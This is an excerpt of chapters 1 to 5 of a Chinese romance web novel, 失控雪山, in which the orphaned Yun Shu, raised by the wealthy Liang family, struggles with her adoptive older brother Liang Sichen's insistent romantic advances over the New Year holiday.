《失控雪山》 1. Chapter 01 《失控雪山》全本免费阅读 《失控雪山》 文/北途川 - 衍城是个典型的北方城市,冬冷夏热,四季分明,但今年的冬天似乎格外冷,大雪弥漫,天地同白,铅灰色的云层黑压压垂着,年味儿都驱不散的阴霾。 往年这个时候,云舒应该是宅在家里看书写作业,被同学邀请去参加聚会,或者陪着周阿姨去挑选过年的衣服和珠宝…… 但她今年拖到今天才回,在飞机上心事重重,坐立难安。 飞机离衍城越近,云舒越是心慌意乱。 仿佛近乡情怯,明明想家,可离家越近,越想逃。 两个小时后飞机落地,她恍惚着,跟着人群往外走。 时不时能听见一句新年好,人群中有人把铃声换成了恭喜发财,听起来喜气洋洋的。 云舒一直放松不下来,脑子里全是梁思谌。 自从上次分别后,她大概有小半年没有见到他了,两个人默契地谁也没理谁。 可他们终究还是会见面的。 然后呢?怎么办?她不知道。 梁叔叔和周阿姨还没放假就一直催问她什么时候回家,她这个人一向恋家,归心似箭,可还是借口学校有实践活动,拖到除夕这天才坐了凌晨的飞机飞回来。 往常无论她从哪里回衍城,都是梁思谌来接机,今天司机小陈叔叔说要来机场接她,可落地便接到消息,说堵路上了。 她莫名的,却松了口气。 云舒安静站在出口,安静地发着呆,那张乖巧文静的脸上,好像很难看到焦急和慌乱。 哪怕她此时内心其实跌宕不安。 这种情绪……大概从几个月前他吻她的时候就开始了。 是的,他们接吻了,她到现在都还没想明白,他们是怎么发展到这种程度的。 她还记得当时的惊慌失措,整个人大惊失色,连连后退,背抵在玄关的柜子上,仿佛见了鬼。 那天是她十八岁的生日前一天,他特意从国外飞回来给她过生日。 或许是她反应太强烈,他的眸色也沉下来,却什么都不说,只紧紧盯着她,目光仿佛一个囚笼,把她锁进去。 仿佛无声在说:我以为我们都心知肚明。 那一瞬间,云舒觉得自己的呼吸都停止了,大脑完全无法思考。 已经过去小半年了,云舒这时想起来,还是忍不住后背发紧,连呼吸都有些急促,她反应过来的时候,微微垂了下眼睫,然后深呼吸了一下,来缓解焦虑和不安。 不知道怎么面对他。 可偏偏避无可避。 命运有时真是捉弄人。 小陈叔叔终于来了,见了她,热情地叫她:“云小姐。” 他抱歉地解释道:“今年热闹得很,街上很多活动,实在堵车,抱歉让您久等了。” 云舒勉强笑一笑,这么多年,还是不适应被这么叫。 她妈妈原先只是梁家的保姆,爸爸去世,没人照料她,梁家人允许她妈妈把她带过去一起生活,后来妈妈也突然病重,她没什么亲戚,血亲的亲舅舅把她当拖油瓶,一家人得知母亲病逝,连露头都没敢,生怕被沾上,连夜拖家带口去国外旅游躲着,连电话都不接了。 后来梁家看不过去,就收留她至今,虽然没走领养手续,但一直拿她当第三个孩子照看,吃穿用度都和梁家兄妹无二。 只是虽然梁家人对她很好,她也把梁家当家,但她实在算不上什么小姐。 “没事小陈叔叔,我也刚到。”云舒的声音温柔恬静,一听就是乖巧孩子。 小陈叔叔替她拖着行李,忍不住又说了句:“往年都是少爷亲自来接,就今年没回来,他要是知道我把你晾在这儿这么久,非要骂我不可。” 大概是看出她情绪不高,以为她是想梁思谌了吧,特意提了一句。 所有人眼里,她和梁家兄妹手足情深,尤其和梁思谌,亲哥哥也不过如此了。 可是……一想起那天发生的事,云舒就心口堵得慌。 其实梁思谌从来不骂人,但整个家里,佣人们都很怕他,好像他那张脸会杀人似的。 云舒其实也怕他,每次他板着脸不说话的时候,云舒都会忍不住思索近一个月来自己有没有做什么错事。 可到头来,他才是最出格的那个。 “哥哥他……真不回来了?”云舒忍不住再次确认。 小陈叔叔回道:“说是不一定,不过都这个点了,还没消息,估计回不来了。” 虽然很不应该,但云舒还是悄悄松了一口气。 她不是怕回去,是怕见他,不知道该怎么面对他。 上次见面发生的事,她到现在都不敢去回想,也不敢去面对,这么久了,还是心烦意乱,理不清头绪,只能下意识逃避。 不知道能逃避多久,但逃一时是一时吧。 小陈叔叔拉开车门,她弯腰钻进奔驰的车后座,熟练地系上安全带,头抵在车窗玻璃上发呆。 梁思谌已经毕业了,但他亲妹妹梁思悯性子娇纵放肆了些,他爸妈都不太放心,所以他在国外陪梁思悯读书,自己顺便也读了个硕士。 明年就要回国了。 云舒每年都是在梁家过年,今年当然也不该例外,周阿姨和梁叔叔把她当孩子,她不能忘恩负义。 叔叔阿姨很牵挂她,她逢年过节总是会回来的。 她给所有人带了礼物,唯独没有带他的,因为得到的消息是,他不回来过年。 又或者说,知道他不会回来,她才敢回来的。 可不知道怎么,还是觉得不安。 老宅里很热闹,佣人们大多都被放回家过年了,只几个菲佣还留着,有些笨拙地在给院子做装饰,院子里的那棵白梅树挂满了红绸带,还有几个小红灯笼,上面写了一些吉祥话。 佣人们看见云舒,叫一声:“云小姐回来了。” 云舒其实已经学会自动屏蔽了,可大概是因为那事,她始终思虑重重,听着一声声云小姐,仿佛命运无声的质问—— 你现在所有得到的一切,都是因为梁叔叔和周阿姨,你简直愧对他们的疼爱。 “小舒回来啦!你们学校怎么回事,把人扣到现在才放,再不回来我都要打电话去你系里了。” 周阿姨在小白楼挑新年的衣服,设计师带了满满六大箱的衣服,模特站成一排,挨个儿试给她看,珠宝店的老板娘也亲自来了,提着一保险箱的珠宝,身边跟着两个保镖。 会客厅里都是人,以往这些人,是不会碰头的,周阿姨也很少亲自当面挑选,顶多让颍姐来挑,实在拿不定主意,才会请示她。 或许是真的太无聊了。 他们这样的家庭,很忌讳把喜好和情绪摊开给外人看。 梁思谌有过之而无不及,从小到大,每当云舒以为自己很了解他的时候,都会被打一耳光。 就像她无论如何也想不到,他有一天会逼她答应他的告白,而且一点余地都不留给她。 云舒走过去周姨旁边坐着,周围人看见她,大概是不认识,谁也没说话。 周邵红拉住她的手,“没好好吃饭啊,怎么瘦成这样。” 说着,直接拉着她起了身,去主楼了。 颖姐过去招呼那些人。 徐颖是周阿姨的私人秘书兼助理,替她打理很多事,几乎不用吩咐都知道自己该做些什么。 云舒跟着周阿姨,手轻轻挽着她手臂,她常常会在周阿姨这里感觉到母爱,那种本能想要亲近的心情会让她格外放松和惬意,每次挽着周阿姨的胳膊,是她人生中为数不多的幸福时刻,可如今这点幸福都掺杂着愧疚和惊慌。 她像个罪人。 云舒深知自己和梁家隔着难以跨越的鸿沟,但也只好摒弃杂念,笑了笑:“有好好吃饭。” 周邵红不信,伸手捏她的脸,又捏她的腰,怜惜道:“摸着骨头都咯手了,梁思谌三天两头去看你,说会照顾好你,也不知道照顾的什么,当哥哥的,一点也不靠谱,两个妹妹,一个也照顾不好。说起来梁思悯那种不着家的都回来半个月了,他也不知道什么事,比他爸还忙,到现在都还没回。” 云舒低着头,不敢搭话。 她的房间还保留着原样,家政阿姨早早打扫过,纤尘不染,桌面上放了新鲜的百合,房间里熏了她喜欢的木质香,她的吃穿用度,多么微末的细节,都被照顾得很妥帖,有时她也想,大概上辈子她拯救过银河系,才会遇到梁家一家人。 露台的窗户开着,风车茉莉从窗沿垂下来,顶着冷冬,竟开了几簇洁白的小花。 云舒站在露台发了会儿呆,心事重重,可其实什么也没想,只是觉得仿佛头顶悬着的一把剑,不知道什么时候会落下来。 她换了家居服,简单洗漱了一下就下楼了,刚从旋转楼梯还没走到底,就听见颖姐笑道:“少爷说他马上到家,这是故意想给您个惊喜吧。” 周邵红最了解自己儿子,撇撇嘴道:“故意气我还差不多。”不过眉眼舒展开,心里还是高兴的。 云舒呼吸一滞,下意识后退半步,刚刚平静下来的心情倏忽全乱了,整个人像是被慢火炙烤着,脑子里仿佛有个声音不停在问:怎么办? 怎么办…… 不知道,她没来得及慌乱太久,就被周阿姨叫走了,维持着平静,可内里兵荒马乱,后知后觉,恍然大悟,知道他八成是故意的,他太了解她,知道怎么把她架起来烤,知道她要么不回来了,要么回来了就不会再跑,他故意等她逃无可逃杀回来,不给她一点逃避的机会。 云舒想来想去,竟生出一点委屈,他怎么这样…… 他竟然这样。 她早该知道的。 完了,怎么办……真的完了。 她的大脑不住地发出沮丧溃败的讯号。 云舒一边帮阿姨一起准备年 2. Chapter 02 《失控雪山》全本免费阅读 两个人面对面站着,气氛有短暂的沉寂,冷风呼啸而过,打着旋,飘向远方。 时不时有爆竹声传来,新年的钟声还未敲响,一年马上要过去了,辞旧迎新的好时光,她却觉得两个的关系被困在了一个无解的难题里,因而连喜庆也感觉不到了。 谁也没开口说话,就那么看着对方,像是无声的较量。 梁思谌很少这么盯着她看,或许小时候有过,因为她小时候长得真的很可爱,他记得自己见她第一面就流露出罕见的好奇和好感,以至于母亲后来逢人便说,云舒和他们家有缘,因为周邵红女士就算带着亲妈滤镜,都不得不说一句,她这个儿子天性有些凉薄和冷淡,对什么都不太感兴趣。 不过后来她长大了,做哥哥的,就要学会避嫌了,他不再进出梁思悯和云舒的房间,会避开和妹妹们的肢体接触。 尤其云舒,没有血缘关系,要更细心一些。 他向来做什么都极有分寸。 所以此刻他那侵略性十足的目光,让云舒觉得很陌生。 就这么短暂的对峙中,云舒败下阵来,垂下脑袋,不敢和他对视,肩膀微微垮下来,因为发现自己真的很懦弱,即便是这样,她也说不出一句重话。 即便是现在,她还是希望能够粉饰太平,糊弄过去就好了。 只要彼此不说穿,一切都可以照旧,她会把他当亲哥哥一样敬爱。 她还可以把周阿姨和梁叔叔当做养父和养母,还是可以把梁思悯当做自己的姐姐。 一切都不要变就好了。 但命运总是不尽如人意,她的人生好像突然之间来了个急刹车,然后轰隆隆朝着不可预知的方向一路奔驰了。 梁思谌看着她:“云舒,说话。” 云舒长着一张略显圆钝的脸,柔和、宁静,没有棱角,看起来人畜无害,但其实性子又倔强好强。 不过她总是安静地跟自己较劲,她从来没想过跟梁思谌较劲,可他像一场突如其来的暴雨,把她整个淋得湿透,让她无处可逃。 “很讨厌我?”梁思谌见她始终不说话,开始了进攻模式。 云舒下意识摇头。 “那就是喜欢。”他的语气笃定。 这种偷换概念实在让人招架不住,可云舒知道,那并不是源自于自信,或者某种自恋。他并不是那种人。 他故意的,用这种极端的方式,在逼她说出是,或者不是。 他的态度很坚决:我不要模棱两可的回答。 他太了解她了,所以根本不给她装聋作哑,然后糊弄过去当做一切都没发生的机会,也丝毫不想维持体面和应有的分寸。 太过了解的两个人,太知道如何照顾对方,也最懂得如何折磨彼此。 云舒曾经有多喜欢这个哥哥,现在就有多痛苦。 她不敢点头,因为明知道他说的喜欢和自己的喜欢并不是一个意思。 她声音干涩地叫他:“哥……” 试图唤醒他的认知。 不知道什么时候下雨了,空气不够冷,连雪花都不飘了,雨声淅淅沥沥落下,可云舒还是觉得冷透了。 新年的喜庆好像侵染不到这里,四周静悄悄的,黑夜浓稠而寂静,云舒恍惚能听到自己的心跳,无关心动,只是惊惧和慌乱,还有很多的迷茫和无措。 她真的只是把他当亲哥哥,而且两个人之间差距太大了…… “叫名字。”他低头看她,声音冷静而锐利,丝毫不为所动。 铁了心要把关系扭转一样。 云舒下意识后退,却再次被他逼近。 “哥……”她又叫了一声,那种沉默的倔强让他微微蹙眉。 他不高兴了,尽管表情没怎么变,连呼吸都保持着刚才的频率,可云舒就是知道,他不高兴了。 这好像是一种天赋,以前阿姨总说,整个家里,只有她最了解他。 可这项技能放到现在,倒像是一种诅咒。 云舒没有说话,心里忍不住想,讨厌她最好,他们本来也不合适。 为什么会喜欢她呢? 她是说,男人对女人的喜欢。 她在脑海里拼命思索,可也只有想到一些无关痛痒的碎片,那些碎片记忆里,他都是个温柔可亲又有点严肃古板的大哥。 什么时候开始的呢? 她真的想不明白。 她沉默地跟他较劲。 “打算冷处理我?”他点点头,逼视她,“那就告诉我,你讨厌我,不想再看到我,我保证从你的世界里消失得干干净净。” 云舒有些急地看他一眼,眼神里有泪、倔强,还有一点委屈。 他明知道不可能的,她不能做那种忘恩负义的事。  “那就接受我,嗯?”尾调上扬,像是询问,可梁思谌的手突然卡在她的下颌,却是一副要吻她的样子。 他并不是那种人,可为了逼迫她快些做出决定,却好像什么都做得出来。 云舒只是害怕,想逃走。 可她父母双亡,寄居在梁家已经十几年,这里就是她的家,她没有地方可以逃。 这也不是他们第一次接吻,那次之后,他给了她小半年时间考虑,她还是没有答案。 因而云舒一时也分不清,到底是谁更过分一点。 云舒还是不可避免地想起了上次那个吻,已经忘记是什么样的了,只记得自己的慌乱、震惊和无措。 那天正好是她十八岁生日前一天,他来学校看她,那时候她神经衰弱,无法适应宿舍的生活,于是在琢磨搬出去住,一些环境不好的地方,隔音也很差,她害怕住过去还不如在宿舍,可是环境稍微好一点,她又怕自己负担不起。 梁思谌仿佛未卜先知,知道她会有怎么样的考量和顾虑似的,不知道什么时候,直接买了一套附近的公寓,钥匙递给她的时候,她都觉得烫手,反复推回去,倔强地说:“我不要,我……住在宿舍也行。” 梁思谌一把拎住她的后颈,什么也没说,只是把她塞进车里,带着她去看公寓。 公寓小小的,装修得很明净,其实已经照顾她的自尊了,如果是他自己住,这里估计还不如他的卧室大。 “房子写的我的名字,借给你住,次卧给我留着,我不喜欢住酒店,以后来看你,我住这里,不要带别人回家。” 他兀自交代着,命令的语气。 或许是为了让她好接受一点。 云舒没有再推辞,说了句:“谢谢哥。” 他回头,看她一眼,玻璃镜片下的眼神晦涩不明:“叫我哥就得听我的,不想听,下次叫我名字。” 她下意识呢喃了句:“哥……” 说完才意识到,好像在回应他:我听你的。 她咬了下嘴唇,有些懊恼,可也没有什么好辩驳的,对她来说,他确实是她的哥哥,她也愿意听他的话,只是很多时候觉得自己受之有愧。 那时她就觉得,好像有哪里不太对。 但也只能在心里期盼自己能够努力学习好好工作,将来报答一二。 那天晚上两个人一起吃饭,配餐的酒是低度数的利口酒,但是口味甜甜的,她当饮料喝,梁思谌也没料到她酒量那么差,也就没制止她。 他本来要留着第二天给她过完生日再走,但突然有急事,凌晨要赶回去,他便定了蛋糕,送去公寓了,要提前给她过。 两个人回公寓的时候,云舒已经有些迷糊了,她喝醉了倒是显得活泼许多,回程在路上,两个人坐在车后座,她挨着梁思谌,跟他讲自己学校里的趣事,讲自己去实验楼搬大体老师,正好碰到电梯故障,几个人困在电梯,吓得魂飞魄散。 一直到公寓,上电梯,依旧喋喋 3. Chapter 03 《失控雪山》全本免费阅读 * 他的吻还是落了下来,细细密密的吻带着冬夜的湿冷,他的呼吸被风吹散,残留的温热裹进她的口腔,云舒被迫仰起头,睁着眼,看到他阖闭的双眼,漆黑的夜色下,他的表情笼在阴影里,看不真切。 钳在她下巴的手掌也称不上用力,甚至有些温柔,但云舒却觉得仿佛千钧重的力道压在她的魂灵上,胸腔里挤满了委屈,可却没有怨恨。 在这样紧迫的时刻,云舒竟然走了神,莫名想起第一次见他的时候。 那时她还没过六岁生日,梁思谌十一岁。 小小的云舒穿着棉布裙子,身上唯一的装饰物是一个蝴蝶发卡,站在院子里一动不动,妈妈说,不能乱跑,主人家不喜欢乱跑的小孩子,而梁思谌待会儿要去参加晚宴,穿着定制的小西装,像童话故事里优雅高贵的小王子。 她觉得自己在他面前都灰扑扑的,于是看见他十分局促,连招呼都忘了打。 他从客厅走出来,见她跟个小鹌鹑似的,走过去,微微弯腰问她:“你叫什么名字?” “云舒……” 梁思谌点点头,掌心窝着一颗糖,伸手递给她:“去客厅玩吧!” 不知道是特意拿给她的,还是本来要自己吃。 她求助似地看向远处跟周阿姨说话的妈妈,妈妈鼓励她:“快谢谢哥哥。” 她这才乖巧道谢。 梁思谌笑着揉了下她的脑袋,像个小大人。 那个糖是她吃过最好吃的糖。 那时候爸爸刚去世,家里没有别人可以照顾她了,妈妈只能一个人带她,妈妈无法兼顾工作和照顾小孩,本来是要辞职的,但主人家心善,允许妈妈把她带去一起住,并且帮忙把她安排在了梁思谌的学校上小学,这样司机接送他上下学的时候,就可以说道把她也接上。 那个别墅好大,主楼的后面有一排保姆房,妈妈和她住在那里,妈妈本来让她待在后院不要到前院来的,但梁家一家人都很喜欢她,允许她自由活动,梁思谌甚至还允许她不打招呼直接上三楼去找他,他说他房间里很多书和话本,她可以随便看,随时去看。 她那时候其实认不得几个字,但还是会装模作样坐在那里看书,偶尔抬头看他,眼神里大概带着一点崇拜。 觉得他好厉害,什么都会。 妈妈每次提起来都说,只要是考试,他都是第一,每次参加竞赛都拿奖,他还会弹钢琴,拉小提琴,会画画。 后来小学开学,保姆房透光不足,周阿姨甚至让她们去住一楼的客房,妈妈连连拒绝,周阿姨握着她的小手:“小孩子要读书,住个宽敞些的房间吧!” 妈妈很看重她的学习,便没有再拒绝,只是再三感谢,然后干活儿更卖力些。 妈妈干活又快又好。 云舒也帮妈妈干活儿,妈妈每次都不让,只说让她好好学习,这是大人的事,实在拗不过,会要她去给小少爷送些吃的。 因为小少爷很喜欢她,说她像妹妹,还让她叫他哥哥。 云舒就很好奇思谌哥哥的妹妹是什么样的。 他亲妹妹生下来就在美国跟着爷爷住,云舒以为,他想妹妹了,所以把她当妹妹疼。 后来梁思悯回国,云舒发现自己跟这个姐姐并不像。 她张扬明媚活泼勇敢,像个公主,云舒觉得自己像个长在潮湿阴暗角落的蘑菇。 嗯……没有毒的那种。 或许那时就费解过,梁思谌到底喜欢她什么。 不过梁家人都对她很好,就连看起来最不好相处的悯悯姐,对她都格外宽容和温和。 尤其是梁思谌,虽然他经常管束她,但事无巨细替她考虑。 妈妈临终前在病床上还要握着她的手交代,说是把她当亲人了才会这么对她,她要感激。 云舒一直都很感激。 后来妈妈重病,也是梁家帮忙找医生,但还是回天乏力。 她的爸妈是表兄妹,从小一起长大,两个人出生在一个偏远的小城,不存在法律意义上的近亲关系,但地方小,宗族观念重,好像犯了什么不可饶恕的过错,遭到了两边长辈的强烈反对,于是分开,只是三年又五年,谁也忘不掉谁,于是约定背井离乡,去往没有人认识的地方开始新的生活。 他们相携来到衍城,在这里有了一个租住的小家,生下了一个女儿,那并不是云舒,是云舒的姐姐,第一个女儿患有先天性的心脏病,很严重的那种,一般先心会在儿童期发作,但她生下来就是明显的症状,这对于一对儿穷困且背井离乡的年轻夫妻来说,无异于雪上加霜。 命运在他们脆弱的脊骨上又狠狠敲了一记。 据妈妈回忆,爸爸像是一瞬间老了十岁,因为他觉得自己无能,他还是回了老家,跟家人求助,换来的当然是羞辱和斥责,但好在,亲情并未完全消磨,他得到了一些帮助,尽管无济于事,但好歹喘了口气。 手术的钱是如何也凑不够的。 于是就拖着,焦灼着,然后像是绷紧的弦,在某一刻骤然断裂。 那个小孩在一岁的时候夭折了,家里愁云惨淡,但好在,他们并没有沉溺在痛苦里,互相安慰着、鼓励着,终于还是走了出来,他们慢慢有了一点积蓄,在郊区买了一处安置房,在衍城落了户,同时又有了新生命。 爸爸死于飞机失事,他第一次坐飞机,是因为想回来陪妈妈过生日,上飞机前还在心疼机票钱。 然后生命戛然而止,妈妈起初如何也接受不了,几近崩溃。 飞机上一百三十五人全部遇难,甚至连遗物都没有。 后来云舒常常想,妈妈身体一直很好的,像梁家这样的家庭,寻找保姆对身体要求几乎到了苛刻的地步,每年光体检至少都要一个季度一次。 但爸爸去世后,她的身体就开始每况愈下了,没几年生了一场病,最开始只不过是普通的感冒,然后诱发肺炎,高烧不退,感染加剧……最后呼吸衰竭而亡,病程很快,快得云舒根本反应不过来。 母亲去世后,她根本没有可以去的地方了。 周阿姨说:“你就把这里当做自己的家。” 这么多年,他们对她真的很好,比之亲生父母也有过之而无不及。 她的感激已经无以言表了,只能余生尽自己所能去报答。 但她还没能报答,却把事情搞成了现在这个样子。 隔着一个院子的距离,梁叔叔和周阿姨就在那儿,云舒的心脏提到嗓子眼。 “讨厌我吗?”他再次问。 云舒不知道怎么回答,只觉得喉咙干涩,像是突然之间失去了语言功能,很难过,也很委屈,但一点都发泄不出来,也表达不出来。 “你的眼神让我觉得你很讨厌我。”梁思谌眼神黯淡片刻,但目光仍旧锐利仿佛刀刃,“所以一直是我会错意了是吗?云舒,回答我,我要你亲口说,不然我不会放弃的,你懂我的意思。” 他在赌她的心软。 云舒不知道事情怎么就到了这一步,她也想不起来自己到底有没有做过什么让人误解的事,就算有,应该也只是些殷勤笨拙的示好,她只是觉得对梁家的好无以为报,并没有想要染指他。 可是她知道说什么都没有用了,也不会有人在意到底是谁招惹的谁,可不管是谁招惹谁,两个人之间鸿沟一样的差距都是她一路狂奔也无法抹平的。 他为什么要这样,别人评价他,永远都是冷静自持,成熟稳重,到了她这里,就是各种威逼利诱,各种明里暗里的威胁。 可是真的很讨厌吗? 她绝望地发现,哪怕是这样了,她心里明明一肚子委屈,可对他根本讨厌不起来,也没办法让自己生他的气,甚至看到他略带自嘲的神情,隐隐生出些不安,好像是自己做了不好的事。 太讨厌了,真的太讨厌了。 云舒越想越难过,她突然趴在他的脖子,狠狠咬了他一口。 那么用力,像是要把所有无法宣泄的委屈都从牙齿上传递给他。 尖利的牙齿刺破皮肤,口腔里都尝到了一点血腥味,可他始终一动不动,连一点声音都没发出,更没有躲避。 云舒松开他的时候,浑身都在颤抖,眼泪啪嗒啪嗒往下掉。 并没有觉得痛快。 她觉得自己做错了很多事。 或者说什么事都没有做对,错得一塌糊涂,事情朝着不受控制的方向一泻千里。 梁思谌抬手擦点她的眼泪,低头亲吻她的嘴巴:“不拒绝我就当你答应了。” 云舒抬眸看他,心口郁结,她第一次直呼他的大名:“梁思谌……” 梁思谌睫毛微动,“嗯”了声,抬手抚她的后颈,嘴唇贴着她的嘴唇,要吻不吻地碰触她几下,呼吸暧昧纠缠:“嗯,再叫几声。” 他故意的,企图通过不断地触碰来消解她的抗拒。 云舒鼓起勇气,狠狠推了他一下,又不敢这时候回去,沿着别墅四周的小路漫无目 4. Chapter 04 《失控雪山》全本免费阅读 “那你呢?你想要什么?让我做你见不得光的情人?可以给我身体,但不愿意给我心?你把我想得这么不堪,是吗?”梁思谌的眼神锋利如同刀刃,看着她的时候,她总是下意识想要回避。 云舒偏过头:“不是。” 下一秒,又被他制止,“看着我。” “你在害怕什么,云舒?” “……” “我们谈谈。” “没有什么可谈的。”云舒的声音干涩,“哥,我们不合适。” “也不应该。”她呢喃。 “你是因为不想,还是觉得不应该?” 可那语气,分明是带着答案在审问她,她只要稍稍露出一些破绽,展示出一点脆弱,就会被他顷刻间击碎。 “不……想。”云舒的声音从喉咙里挤出来,“也不应该。” “是觉得不应该才不想,还是只是不想,这区别很大,云舒。我知道,你觉得我爸妈不会同意,即便同意了也是妥协,你不希望我和你被别人指指点点,不想把感情凌驾在恩情之上,不想面对我爸妈的时候无地自容,你长大了,云舒,有自己的想法了,这没有错,但从你小我就告诉过你,瞻前顾后只会顾此失彼,没有任何选择是可以让所有人都满意的,但不做选择并不代表困境就会消失。现在,我只要你回答我,你要我,还是不要,你想和我在一起,还是不想,直接回答我。” 云舒闭着嘴,干脆也闭上眼,一副封闭自己不愿再面对的样子。 脑海里闪过很多画面,比如小时候他辅导自己写数学题,她算数不好,总是连蒙带猜,但他这个人实在有点严厉,所以每次他坐在她旁边,她都会很紧张,拿不定主意的时候就会发呆,迟迟不敢下笔,他会开口引导,通过询问试图唤醒她的记忆,找到解题思路,但往往她是越来越混乱不清的。 “随便写点什么,或许告诉我你怎么想的,说话。” 比如一家人去点餐,她总是乖乖等着吃的那个,菜单转一圈,她都不会接,但他总会在最后递给她。 “你很挑食,云舒,所以不要在我面前装你什么都吃,然后菜上来了左右挑不出来一个想吃的,想吃哪个自己点,说话。” 说话…… 可她从来学不会说话。 …… 很多次,太多次了。 她总觉得自己在他面前所有心事都无所遁形。 她一直致力于做个乖巧懂事的孩子,但显然被他破坏殆尽了。 她不乖了,她现在甚至都觉得自己是个坏孩子。 没有好孩子会和自己哥哥这样暧昧不清彼此纠缠。 她仿佛能看到梁叔叔和周阿姨失望的眼神,仿佛凌迟一般在刮着她的灵魂,她快要受不了那种煎熬。 云舒觉得自己永远也没办法像他期待的那样勇敢、坚定、落落大方。 她唯一能够勇敢的只是再次攥紧他的衣襟,笨拙地去解他的扣子,这种近乎自我羞辱的主动让梁思谌很生气,他生起气来很可怕,虽然明明只是表情和眼神微弱的变化,虽然他脾气再差的时候都不骂人也不诉诸暴力,但云舒却有一种如临深渊的恐惧。 她绝望地抓住他,这世界上她觉得哥哥是最安全的,可又觉得他是最危险的,于是最危险的时候也要从他那里寻找安全感,所以她既恐惧他,又忍不住靠近他,那种矛盾让她生出一些自虐般的痛感,痛到一定程度,仿佛又变成了快感。 “你非要这样是吗?”梁思谌压着怒火问她。 “嗯”她唯独在伤害自己这件事上,总能给他肯定的答案。 梁思谌把她推倒的时候,云舒在想,自己真的是个很糟糕的人。 他的动作又凶又蛮,像是要把她撕碎了,衣服皱巴巴地落在地上,这个新年的夜晚显得宁静又压抑,云舒的快感被调动,有那么几个瞬间,她甚至感受到了快乐,但又因为那快乐,而生出更多的愧疚和自责。 云舒的身体很敏感,而他也足够了解她,没有多费劲就让她放松,但他只是看她释放后,去漱了口,说了句:“睡吧!别逞能了。” 他看出来她是在赌气,明明什么也没准备好,仿佛在破釜沉舟。 他就算想当个禽兽,也没什么兴致了。 门关上,他出去了,房间归于安静。 云舒望着天花板发呆,刚刚发生了什么? 他们做了吗?好像没有。 他只是……他只是…… 云舒痛苦地呼出一口气,比起真的做了,这样让她更难接受,大概是因为,他总能拿捏她每一寸的情绪,而她从来都拿他没有办法。 云舒安静躺了很久,很迷茫、很慌乱,但还是出去找他了,这么多年,她学过很多很多的道理,人生中很多个快乐幸福的瞬间是他给的,很多个痛苦迷茫无措的时光是他陪着的。 很多她懂得的道理还是他教的。 她记得那时候她数学很差,因为他的辅导,心生更多恐惧,总是把数学卷子放到最后写,有时候甚至害怕被他骂就把卷子藏起来不写。 出于一种逃避心理,总觉得再等等。 可等什么,等到什么时候,她不知道,就那么搁置着,企图交给时间解决。 到最后当然是数学成绩越来越差。 有次梁思谌冷着脸告诉她:“所有的矛盾都是越放越大的,越是你害怕的东西你越是要面对它,不然什么都解决不了。” 是的,不是闭上眼就可以当做什么都没发生的。 云舒沉默地走出去。 他躺在沙发上,睡袍宽松,领口微微敞开,或许是两个人刚刚做过那些事,看见她出来,他连挡都懒得挡了,只是好笑问:“还不睡?我给你空间,你倒是还敢出来。” 她垂眸,慢慢走到他身边,在他身侧蹲下来,像小时候那样,挨着他,她小时候很怕他,但却总是很喜欢待在他身边,哪怕不说话,就只是坐在他旁边,就觉得很安心。 这么多年过去,她甚至想过将来他娶妻生子,自己该不该以妹妹和姑姑自居,想很多,唯独没想过,两个人的关系会变成这样。 她的眼神盛满悲哀,可却奇异地变得平和下来,她看着他,挫败地说:“我帮你吧。” 她不是什么都不懂的小姑娘,他明明已经……很那个了。 他甚至都没有选择去卫生间解决,只是安静地告诉她,睡吧! 大概是不想她被吓到。 梁思谌的确没有那么好的定力,甚至这会儿已经快要炸了。 他不明白她有时候胆小得要命,看起来稍微逼得紧一些都快要破碎了,偶尔又好像什么都不怕。 梁思谌几乎是把她强按进怀里的,浑身滚烫,动作也谈不上温柔,一边吻她,一边攥着她的手引导,一遍一遍问她,爱不爱我。 云舒不知道怎么回答,她不觉得自己有爱,爱太奢侈了。 可她也说不出口不爱,不然他们在干什么,只是欲望地发泄吗? 她不想把他们的关系定义成这样。 她到最后,大概是说了一句爱的,但她觉得自己已经意识不清醒了,不知道会有多敷衍,他大约也没有多清醒,也不知道有没有听见。 但那似乎也没有多重要了。 他们拥抱着,像两只交颈的鸳鸯,靠在沙发上睡着了。 第二天云舒从他怀里悄然挣脱,像是十二点钟的灰姑娘听到钟声,噩梦般惊醒,逃出他的公寓,她打车一路到机场,定了最近的航班去学校,路上跟阿姨撒谎说自己有 5. Chapter 05 《失控雪山》全本免费阅读 云舒肩膀垮下来:“我什么都不想选。” 想回到过去。 他看似给了她那么多选择,其实无非就两种,爱他,或许恨他、毁了他,没有中间的选择,可他明知道,她不会毁了他,也很难去爱他。 他要求她如果否定他的爱,就一并连哥哥的身份一并否定,可就算她有勇气跟他划得清界限,她还是要回梁家去,梁叔叔和周阿姨为她付出了太多,她做不到跟梁家也划清界限。 况且…… 她只有这么多的家人了,她贪恋家的温暖,就像抓住救命稻草那样依恋,如果切断和梁家的联系,就好像切断自己和世界的联系一样。 只是想一想,就觉得好痛。 云舒仰着头看他,眼神里没有爱也没有恨,就像是八岁那年,父亲意外去世后,母亲也因病离世,她孤零零坐在医院的走廊上,那是个夏天,医院的病房甚至有些热,但她却觉得蚀骨的冷,于是抱着胳膊,把自己蜷缩起来,牙齿不断地打颤。 她没有哭,人在悲伤过度的时候,竟然是没有眼泪的,她的灵魂像是从身体里抽离出来了,神情平和得仿佛妈妈只是睡着了。 医院通知家属处理病人的遗体,妈妈没有家人了,老家母亲的父母早就过世,只有一个舅舅,但把母亲视作耻辱和累赘,电话都不接,也不可能到医院来。 妈妈只有她了,她也只有妈妈了,可她什么也做不了。 她太小了,自顾不暇,甚至不知道接下来自己会去哪里。 那样六神无主的时候,像是被全世界抛弃了。 是阿姨弯下腰,张开手臂给了她一个拥抱,轻轻拍她的背:“阿姨在呢,小舒不要怕。” 妈妈去世得很突然,或许她自己都没想过会离世,于是走的时候,没有给云舒任何后路。 那天梁思谌也在,阿姨把她丢给他:“你抱着妹妹,别让她一个人。” 于是梁思谌把她抱在腿上,她就那么趴在他的肩膀,眼泪无声地往下掉。 “哥哥……” “别怕。”他轻拍她的背。 阿姨为她母亲举办了葬礼,把她母亲葬在城郊的墓园里,和父亲葬在了一块儿,以云舒的名义立了碑。 那时她也常常目光追随他,好像是要寻求一点安全感。 但也仅此而已了。 “哥,你这样……真的很过分。”云舒渐渐感觉到委屈,继而生出些愤怒。 梁思谌微微垂眸:“是,你就当我禽兽不如吧!但我保证会对你很好,保持忠贞,一辈子只爱你一个,结婚后我的财产分你一半,其他的要求你也尽可以提,除了分手,我都答应你。” 云舒一口气堵在胸口,却发不出来,抬手捶他,然后咬他,可到底打不过他,也觉得无济于事,颓然跌坐在床上,大口大口喘气。 